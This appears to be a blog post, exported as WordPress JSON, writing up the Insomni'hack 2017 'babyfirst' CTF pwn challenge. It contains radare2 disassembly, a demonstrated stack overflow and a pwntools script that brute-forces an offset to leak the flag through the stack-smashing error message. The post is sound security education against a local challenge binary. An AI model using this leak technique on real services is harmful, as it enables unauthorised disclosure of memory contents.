{"id":13974,"date":"2017-04-19T22:43:01","date_gmt":"2017-04-19T20:43:01","guid":{"rendered":"https:\/\/codisec.com\/?p=13974"},"modified":"2023-03-22T16:29:58","modified_gmt":"2023-03-22T15:29:58","slug":"insomnihack-2017-babyfirst","status":"publish","type":"post","link":"https:\/\/codisec.com\/insomnihack-2017-babyfirst\/","title":{"rendered":"Insomni\u2019hack 2017: babyfirst"},"content":{"rendered":"
Baby first was one of the easiest pwn challenges at Insomi\u2019hack CTF 2017 and has been solved by many teams. First, let’s check the binary with a This is a 64-bit Linux binary, so let’s check which security features are being used with After running the application locally, we can see that it cannot read the flag file: Unfortunately, the task’s host is offline now (it has been hosted internally, during the CTF only), so I will host it locally for the purpose of this writeup.<\/p>\n Let’s open the application with radare2, analyze it with Ok, radare2 correctly recognized the main function, so we can seek to it with As we can see, the We’ll now create the flag.txt<\/strong> file with Now, connect to it with It asks for two strings and then prints this fancy ASCII art. Let’s analyze it more deeply.<\/p>\n A brief analysis of call to We’ll now analyze the It stores the security cookie on the stack, allocates local buffer of size 0x28 (40) bytes, asks for the name (reads 32 bytes) and copies it to the buffer at As we can see, there can be a stack buffer overflow while the second string is being read. Let’s try to write more than 40 bytes:<\/p>\n The original challenge has been configured the same way: it was passing “stack smashing detected<\/em>” message through the socket. This is why we use socat with The “stack smashing detected<\/em>” message contains the name of the application, which is read from the stack (there is a pointer to this string somewhere on the stack – it was passed as an If we can overwrite the After a while of bruteforcing we get the flag:<\/p>\n Initial research and description Baby first was one of the easiest pwn challenges at Insomi\u2019hack CTF 2017 and has been solved by many teams. There was an address (babyfirst.insomni.hack:2324) and a binary provided in the description. First, let’s check the…<\/span> <\/p>\n <\/a><\/p>\n","protected":false},"author":11,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[25,32],"tags":[7],"yoast_head":"\n\n\n\n\n\n\n\n\n\n\n\n\n\t\n
\nThere was an address (babyfirst.insomni.hack:2324<\/code>) and a binary<\/strong><\/a> provided in the description.<\/p>\n
file<\/code> command:<\/p>\n
babyfirst_6edc09c3c494d535faced5b95c61e234: ELF 64-bit LSB\u00a0 executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU\/Linux 2.6.32, BuildID[sha1]=9d979aeeb04a0f92bbc663f35db9744b3318611a, stripped<\/pre>\n
checksec<\/code>:<\/p>\n
Arch:\u00a0\u00a0\u00a0\u00a0 amd64-64-little\r\nRELRO:\u00a0\u00a0\u00a0 Full RELRO\r\nStack:\u00a0\u00a0\u00a0 No canary found\r\nNX:\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 NX enabled\r\nPIE:\u00a0\u00a0\u00a0\u00a0\u00a0 No PIE (0x400000)\r\n<\/pre>\n
\nCan't read the flag file!<\/code><\/p>\n
The analysis<\/h2>\n
aaa<\/code> and display all functions with
afl<\/code>:<\/p>\n
\r\n[0x00400830]> afl\r\n0x00400830\u00a0 42\u00a0\u00a0 1\u00a0\u00a0 entry0\r\n0x00400758\u00a0 8\u00a0\u00a0\u00a0 1\u00a0\u00a0 sub.__libc_start_main_200_758\r\n0x00400750\u00a0 8\u00a0\u00a0\u00a0 1\u00a0\u00a0 sub.setbuf_192_750\r\n0x00400730\u00a0 8\u00a0\u00a0\u00a0 1\u00a0\u00a0 sub.puts_160_730\r\n0x00400930\u00a0 55\u00a0\u00a0 6\u00a0\u00a0 fcn.00400930\r\n0x00400738\u00a0 8\u00a0\u00a0\u00a0 1\u00a0\u00a0 sub.fclose_168_738\r\n0x00400b60\u00a0 261\u00a0 6\u00a0\u00a0 fcn.00400b60\r\n0x00400770\u00a0 8\u00a0\u00a0\u00a0 1\u00a0\u00a0 sub.__strcpy_chk_224_770\r\n0x00400970\u00a0 757\u00a0 11\u00a0 fcn.00400970\r\n0x00400748\u00a0 8\u00a0\u00a0\u00a0 1\u00a0\u00a0 sub.__stack_chk_fail_184_748\r\n0x00400700\u00a0 26\u00a0\u00a0 3\u00a0\u00a0 sub.__gmon_start___216_700\r\n0x00400768\u00a0 8\u00a0\u00a0\u00a0 1\u00a0\u00a0 sub.__gmon_start___216_768\r\n0x00400790\u00a0 160\u00a0 3\u00a0\u00a0 main\r\n0x00400780\u00a0 8\u00a0\u00a0\u00a0 1\u00a0\u00a0 sub.fopen_240_780\r\n0x00400788\u00a0 8\u00a0\u00a0\u00a0 1\u00a0\u00a0 sub.exit_248_788\r\n0x00400000\u00a0 73\u00a0\u00a0 3\u00a0\u00a0 sym.imp.puts\r\n0x00400860\u00a0 50\u00a0\u00a0 4\u00a0\u00a0 fcn.00400860\r\n0x00400760\u00a0 8\u00a0\u00a0\u00a0 1\u00a0\u00a0 sub.fgets_208_760\r\n0x00400740\u00a0 8\u00a0\u00a0\u00a0 1\u00a0\u00a0 sub.strlen_176_740\r\n0x00400778\u00a0 8\u00a0\u00a0\u00a0 1\u00a0\u00a0 sub.__printf_chk_232_778\r\n<\/pre>\n
s main<\/code> and disassemble it with
pdf<\/code> (the output has been cleaned up for better readability):<\/p>\n
\r\n[0x00400790]> pdf\r\n;-- section..text:\r\n\/ (fcn) main 160\r\n|\u00a0\u00a0\u00a0\u00a0 ; DATA XREF from 0x0040084d (main)\r\n|\u00a0\u00a0\u00a0\u00a0 0x00400790\u00a0 488b3d891820.\u00a0 mov rdi, qword [rip + 0x201889] ; LEA obj.stdout @ 0x602020\r\n|\u00a0\u00a0\u00a0\u00a0 0x00400797\u00a0 53\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 push rbx\r\n|\u00a0\u00a0\u00a0\u00a0 0x00400798\u00a0 31f6\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 xor esi, esi\r\n|\u00a0\u00a0\u00a0\u00a0 0x0040079a\u00a0 e8b1ffffff\u00a0\u00a0\u00a0\u00a0 call sub.setbuf_192_750\r\n|\u00a0\u00a0\u00a0\u00a0 0x0040079f\u00a0 488b3d9a1820.\u00a0 mov rdi, qword [rip + 0x20189a] ; LEA obj.stderr @ 0x602040\r\n|\u00a0\u00a0\u00a0\u00a0 0x004007a6\u00a0 31f6\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 xor esi, esi\r\n|\u00a0\u00a0\u00a0\u00a0 0x004007a8\u00a0 e8a3ffffff\u00a0\u00a0\u00a0\u00a0 call sub.setbuf_192_750\r\n|\u00a0\u00a0\u00a0\u00a0 0x004007ad\u00a0 be17194000\u00a0\u00a0\u00a0\u00a0 mov esi, 0x401917\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ; \"r\" @ 0x401917\r\n|\u00a0\u00a0\u00a0\u00a0 0x004007b2\u00a0 bf19194000\u00a0\u00a0\u00a0\u00a0 mov edi, str.flag.txt\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ; \"flag.txt\" @ 0x401919\r\n|\u00a0\u00a0\u00a0\u00a0 0x004007b7\u00a0 48c705be1820.\u00a0 mov qword [rip + 0x2018be], 0\r\n|\u00a0\u00a0\u00a0\u00a0 0x004007c2\u00a0 48c705bb1820.\u00a0 mov qword [rip + 0x2018bb], 0\r\n|\u00a0\u00a0\u00a0\u00a0 0x004007cd\u00a0 48c705b81820.\u00a0 mov qword [rip + 0x2018b8], 0\r\n|\u00a0\u00a0\u00a0\u00a0 0x004007d8\u00a0 48c705b51820.\u00a0 mov qword [rip + 0x2018b5], 0\r\n|\u00a0\u00a0\u00a0\u00a0 0x004007e3\u00a0 e898ffffff\u00a0\u00a0\u00a0\u00a0 call sub.fopen_240_780\r\n|\u00a0\u00a0\u00a0\u00a0 0x004007e8\u00a0 4885c0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 test rax, rax\r\n| ,=< 0x004007eb\u00a0 7428\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 je 0x400815\r\n| |\u00a0\u00a0 0x004007ed\u00a0 4889c3\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 mov rbx, rax\r\n| |\u00a0\u00a0 0x004007f0\u00a0 4889c2\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 mov rdx, rax\r\n| |\u00a0\u00a0 0x004007f3\u00a0 be20000000\u00a0\u00a0\u00a0\u00a0 mov esi, 0x20\r\n| |\u00a0\u00a0 0x004007f8\u00a0 bf80206000\u00a0\u00a0\u00a0\u00a0 mov edi, 0x602080\r\n| |\u00a0\u00a0 0x004007fd\u00a0 e82e010000\u00a0\u00a0\u00a0\u00a0 call fcn.00400930\r\n| |\u00a0\u00a0 0x00400802\u00a0 4889df\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 mov rdi, rbx\r\n| |\u00a0\u00a0 0x00400805\u00a0 e82effffff\u00a0\u00a0\u00a0\u00a0 call sub.fclose_168_738\r\n| |\u00a0\u00a0 0x0040080a\u00a0 31c0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 xor eax, eax\r\n| |\u00a0\u00a0 0x0040080c\u00a0 e84f030000\u00a0\u00a0\u00a0\u00a0 call fcn.00400b60\r\n| |\u00a0\u00a0 0x00400811\u00a0 31c0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 xor eax, eax\r\n| |\u00a0\u00a0 0x00400813\u00a0 5b\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 pop rbx\r\n| |\u00a0\u00a0 0x00400814\u00a0 c3\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ret\r\n| |\u00a0\u00a0 ; JMP XREF from 0x004007eb (main)\r\n| `-> 0x00400815\u00a0 bf22194000\u00a0\u00a0\u00a0\u00a0 mov edi, str.Can_t_read_the_flag_file_ ; \"Can't read the flag file!\" @ 0x401922\r\n|\u00a0\u00a0\u00a0\u00a0 0x0040081a\u00a0 e811ffffff\u00a0\u00a0\u00a0\u00a0 call sub.puts_160_730\r\n|\u00a0\u00a0\u00a0\u00a0 0x0040081f\u00a0 bf01000000\u00a0\u00a0\u00a0\u00a0 mov edi, 1\r\n|\u00a0\u00a0\u00a0\u00a0 0x00400824\u00a0 e85fffffff\u00a0\u00a0\u00a0\u00a0 call sub.exit_248_788\r\n\\\u00a0\u00a0\u00a0\u00a0 0x00400829\u00a0 0f1f80000000.\u00a0 nop dword [rax]\r\n<\/pre>\n
main<\/code> function turns off buffering for stdout<\/em> and stderr<\/em>, opens a flag.txt<\/strong> file for reading, if it succeeded, calls function
fcn.00400930<\/code> with the parameters
0x602080<\/code>,
0x20<\/code> and FILE pointer<\/em>, closes the file, and calls
fcn.00400b60<\/code>.<\/p>\n
Fake__Flag__For__The__Writeup<\/code> as content (unfortunately, we have lost the real flag) and host it locally with socat:<\/p>\n
socat TCP-LISTEN:2324,reuseaddr,fork EXEC:.\/babyfirst_6edc09c3c494d535faced5b95c61e234,pty,stderr,setsid,sigint,sane<\/pre>\n
netcat<\/code>:<\/p>\n
\r\n$ nc localhost 2324\r\nYour name please?\r\nCodiSec\r\nYour last wish before dying?\r\nasdf\r\n __^__^___^___^__^__\r\n ___\/__ ========= __\\___\r\n _\/___ \\___________\/ ___\\_\r\n _^_^_^__ _^_ < \/< < < < < > > > > >\\ > _^_ __^_^_^_\r\n \/|| ^ ^ ^ |v| ^ \\ \/____________ = === = ____________\\ \/ ^ |v| ^ ^ ^ ||\\\r\n \/_|| ^ ^ ^ ||| ^ | _\/__\/__\/__\/___\\_______\/___\\__\\__\\__\\_ | ^ ||| ^ ^ ^ ||_\\\r\n \/__|| ^ ^ ^ ||| ^ |-------| \\___________________\/ | |-------| ^ ||| ^ ^ ^ ||__\\\r\n<| _|| ^ ^ ^ ||| ^ | | | | \\_________________\/ | | | | ^ ||| ^ ^ ^ ||_ |>\r\n<| _|| ||| | | | | \\_______________\/ | | | | | ||| ||_ |>\r\n<| __|| v v v ||| v |_|__|__| | |__|__|_| v ||| v v v ||__ |>\r\n \\ _|| v v v ||| v |_|__|__| INS{*****************************} |__|__|_| v ||| v v v ||_ \/\r\n \\ || v v v ||| v | | | | | v ||| v v v || \/\r\n \\||_v_v_v__|^|_v_\/ <\\ < < < > > > \/> \\_v_|^|__v v v_||\/\r\n \\_________|__\/ \\___________ ___________\/ \\_________|__\/\r\n |______|__| \\________\/ _________ \\_________\/ |______|__|\r\n |________|__| \\_________\/ \\__________\/ |________|__|\r\n \/__________|__\\ \\_____ \\_________\/ _____\/ \/__________|__\\\r\n |__ __ ____|_ | \\__| _______ |__\/ |__ __ ____|_ |\r\n _|______________|__|_ \\____\/ | \\____\/ _| || _ || |_\r\n <| < < < > > |> |> \\_________|_\/ \\ | || | | || | \/\r\n | | |___|_| \\| || | | || |\/\r\n <| < < < > > |> |> |___|_| |_____ - _____|\r\n | | | |___|_| |_| _| |_ |_|\r\n <| < < < > > |> |> __|___|_|__ |_________________|\r\n | | | ___\/___________\\___ |_______________|\r\n <| < < < > > > |> __\/\\__\/\\__\/___\/\\__\/\\__\/\\__\/\\__\\__\/\\__\/\\__ |___||___||___|\r\n |__________________|__| \/____________ \/\\ \/\\ \/\\ ____________\\\r\n \\___________________\/ \/__^__^__^___\\ \/\\ _____ \/\\ \/___^__^__^__\\\r\n \\-------------\/ <\/__^__^__^__^__\\===\/__^__\\===\/__^__^__^__^__\\>\r\n \\___________\/ <|__^__^__^__^__^__^____^____^__^__^__^__^__^__|>\r\n <| _v__v__v__v__v__v____ v ____v__v__v__v__v__v_ |>\r\n <|__v__v__v__v__v__v____v____v__v__v__v__v__v__|>\r\n <\\__v__v__v__v__v__v___v___v__v__v__v__v__v__\/>\r\n \\__v__v__v__v__v__v__v__v__v__v__v__v__v__\/\r\n\r\n Welcome to the rise of the machines CodiSec\r\n Are you ready to face us!??<\/pre>\n
fcn.00400930<\/code> (with command
VV @ fcn.00400930<\/code>) shows that it reads line up to 0x20 characters long from the flag.txt<\/strong> file to the buffer at
0x602080<\/code> and replaces the first occurrence of newline with null byte:<\/p>\n
\r\n =------------------------------=\r\n | [0x400930] |\r\n | (fcn) fcn.00400930 55 |\r\n | push rbx |\r\n | mov rbx, rdi |\r\n | call sub.fgets_208_760 ;[a] |\r\n | movzx eax, byte [rbx] |\r\n | cmp al, 0xa |\r\n | je 0x400962 ;[b] |\r\n =------------------------------=\r\n f t\r\n .-' '-------------.\r\n | |\r\n | |\r\n =-------------------= |\r\n | 0x400940 | |\r\n | test al, al | |\r\n | je 0x400962 ;[b] | |\r\n =-------------------= |\r\n f t |\r\n .--------' '---------. |\r\n | | |\r\n | | |\r\n =--------------------= | |\r\n | 0x400944 | | |\r\n | lea rdi, [rbx + 1] | | |\r\n | jmp 0x400954 ;[c] | | |\r\n =--------------------= | |\r\n v | |\r\n .' | |\r\n | | |\r\n .-----------. | |\r\n | =-----------------------= | |\r\n | | 0x400954 | | |\r\n | | movzx eax, byte [rdi] | | |\r\n | | mov rbx, rdi | | |\r\n | | add rdi, 1 | | |\r\n | | test al, al | | |\r\n | | jne 0x400950 ;[d] | | |\r\n | =-----------------------= | |\r\n | t f | |\r\n | .-' '---------------. | |\r\n | | | | |\r\n | | | | |\r\n | =-------------------= | | |\r\n | | 0x400950 | | | |\r\n | | cmp al, 0xa | | | |\r\n | | je 0x400962 ;[b] | | | |\r\n | =-------------------= | | |\r\n `---------' t | | |\r\n '-----------. .-'-----'-----'\r\n | | |\r\n | | |\r\n =-------------------=\r\n | 0x400962 |\r\n | mov byte [rbx], 0 |\r\n | pop rbx |\r\n | ret |\r\n =-------------------=<\/pre>\n
fcn.00400b60<\/code> function:<\/p>\n
\r\n =--------------------------------------------=\r\n | [0x400b60] |\r\n | (fcn) fcn.00400b60 261 |\r\n | sub rsp, 0x38 |\r\n | mov edi, str.Your_name_please_ |\r\n | mov rax, qword fs:[0x28] |\r\n | mov qword [rsp + 0x28], rax |\r\n | xor eax, eax |\r\n | call sub.puts_160_730 ;[a] |\r\n | mov rdx, qword [rip + 0x2014ab] |\r\n | mov esi, 0x20 |\r\n | mov rdi, rsp |\r\n | call fcn.00400930 ;[b] |\r\n | mov edx, 0x20 |\r\n | mov rsi, rsp |\r\n | mov edi, 0x602060 |\r\n | call sub.__strcpy_chk_224_770 ;[c] |\r\n | mov edi, str.Your_last_wish_before_dying_ |\r\n | call sub.puts_160_730 ;[a] |\r\n | mov rdx, qword [rip + 0x20147b] |\r\n | mov esi, 0x190 |\r\n | mov rdi, rsp |\r\n | call fcn.00400930 ;[b] |\r\n | mov edx, 0x190 |\r\n | mov rsi, rsp |\r\n | mov edi, 0x6020a0 |\r\n | call sub.__strcpy_chk_224_770 ;[c] |\r\n | xor eax, eax |\r\n | call fcn.00400970 ;[d] |\r\n | mov rax, qword [rsp + 0x28] |\r\n | xor rax, qword fs:[0x28] |\r\n | jne 0x400bf0 ;[e] |\r\n =--------------------------------------------=\r\n f t\r\n .---' '---------------.\r\n | |\r\n | |\r\n =----------------= =----------------------------------------=\r\n | 0x400beb | | 0x400bf0 |\r\n | add rsp, 0x38 | | call sub.__stack_chk_fail_184_748 ;[f] |\r\n | ret | =----------------------------------------=\r\n =----------------=<\/pre>\n
0x602060<\/code>.
\nIt then asks for another string, reads 0x190 (400) bytes of data to local buffer and copies it to buffer at 0x6020a0<\/code>. After that it calls the function printing ASCII art and checks the stack cookie.<\/p>\n
\r\n$ python -c \"print('CodiSec'); print('A' * 41)\" | nc localhost 2324\r\n*** stack smashing detected ***: .\/babyfirst_6edc09c3c494d535faced5b95c61e234 terminated\r\n<\/pre>\n
pty,stderr,setsid,sigint,sane<\/code> options to host this binary locally.<\/p>\n
The exploit<\/h2>\n
argv[0]<\/code> parameter to the
main<\/code> function).
\nAs we can see earlier, PIE is not enabled and the flag is read into the memory offset 0x602080<\/code>.<\/p>\n
argv[0]<\/code> pointer with the address of the buffer containing flag, it will be displayed as an error message.
\nWe could do that by analyzing the stack locally in gdb and calculating approximate offset or by bruteforcing the offset with a simple Python script. Let’s do it with the script this time:<\/p>\n\r\nfrom pwn import *\r\n\r\nhost = 'localhost'\r\nport = 2324\r\n\r\nbinary_name = 'babyfirst_6edc09c3c494d535faced5b95c61e234'\r\nflag_buffer_addr = 0x602080 # Address of buffer with the flag\r\n\r\n# Buffer size is 40 bytes. Reading is limited to 400 bytes.\r\nfor i in range(40, 401):\r\n log.info('Trying offset %d...' % (i - 8))\r\n \r\n try:\r\n r = remote(host, port)\r\n \r\n # Send name, then long line with address at the end of it\r\n r.sendline('CodiSec')\r\n r.sendline('A' * (i - 8) + p64(flag_buffer_addr))\r\n data = r.recvuntil(' terminated', 2)\r\n data = data.split(' ')[-1]\r\n \r\n # If there is no application name in the response, and it is not empty we have a flag\r\n if binary_name not in data and len(data) > 0:\r\n log.info('FLAG: INS{%s}' % data)\r\n break\r\n r.close()\r\n except EOFError:\r\n r.close()<\/pre>\n
\r\n[*] Trying offset 296...\r\n[+] Opening connection to localhost on port 2324: Done\r\n[*] FLAG: INS{Fake__Flag__For__The__Writeup}\r\n[*] Closed connection to localhost port 2324\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"